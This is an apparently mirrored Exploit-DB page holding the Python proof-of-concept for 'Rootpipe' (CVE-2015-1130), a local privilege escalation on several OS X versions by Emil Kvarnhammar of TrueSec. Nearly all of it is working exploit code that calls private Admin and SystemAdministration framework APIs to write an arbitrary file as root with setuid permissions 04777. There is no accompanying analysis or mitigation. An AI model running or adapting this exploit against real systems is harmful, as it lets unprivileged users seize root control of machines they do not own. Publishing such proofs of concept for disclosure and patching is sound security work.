Apple Mac OSX < 10.7.5/10.8.2/10.9.5/10.10.2 - 'Rootpipe' Local Privilege Escalation - 体验盒子

作者： Emil Kvarnhammar

日期： 2015-04-09

类别：

local

平台：

osx

来源：https://www.exploit-db.com/exploits/36692/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

########################################################

#

#PoC exploit code for rootpipe (CVE-2015-1130)

#

#Created by Emil Kvarnhammar, TrueSec

#

#Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2

#

########################################################

import os

import sys

import platform

import re

import ctypes

import objc

import sys

from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions

from Foundation import NSAutoreleasePool

def load_lib(append_path):

return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():

return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])

args = sys.argv

if len(args) != 3:

print "usage: exploit.py source_binary dest_binary_as_root"

sys.exit(-1)

source_binary = args[1]

dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):

raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()

attr.setValue_forKey_(04777, NSFilePosixPermissions)

data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():

adm_lib = load_lib("/Admin.framework/Admin")

Authenticator = objc.lookUpClass("Authenticator")

ToolLiaison = objc.lookUpClass("ToolLiaison")

SFAuthorization = objc.lookUpClass("SFAuthorization")

authent = Authenticator.sharedAuthenticator()

authref = SFAuthorization.authorization()

# authref with value nil is not accepted on OS X <= 10.8

authent.authenticateUsingAuthorizationSync_(authref)

st = ToolLiaison.sharedToolLiaison()

tool = st.tool()

tool.createFileWithContents_path_attributes_(data, dest_binary, attr)

else:

adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")

WriteConfigClient = objc.lookUpClass("WriteConfigClient")

client = WriteConfigClient.sharedClient()

client.authenticateUsingAuthorizationSync_(None)

tool = client.remoteProxy()

tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)

print "Done!"

del pool